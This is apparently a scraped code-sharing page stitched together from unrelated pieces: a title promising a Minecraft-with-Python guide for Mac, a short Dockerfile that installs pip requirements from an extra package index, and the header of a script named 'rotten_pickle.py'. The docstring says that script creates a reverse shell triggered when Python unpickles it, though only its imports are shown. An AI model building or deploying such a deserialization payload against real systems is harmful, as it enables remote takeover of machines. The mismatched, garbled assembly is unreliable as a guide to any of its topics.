Here's a step-by-step to get started scripting Minecraft with Python on Mac OSX
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# We set an environment variable in this phase so it gets picked up by pip, but we don't want to bake secrets into our container image | |
FROM python:3.6-alpine AS builder | |
ARG INDEX_URL | |
ENV PIP_EXTRA_INDEX_URL=$INDEX_URL | |
COPY requirements.txt . | |
RUN pip install -U pip \ | |
&& pip install --user -r requirements.txt |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import marshal | |
import urllib | |
import base64 | |
import os | |
""" | |
Script: rotten_pickle.py | |
Date: 5/4/2018 | |
Author: Benjamin Grewell | |
Purpose: This script creates a reverse shell that will be executed when the python pickle package attempts to unpickle it. |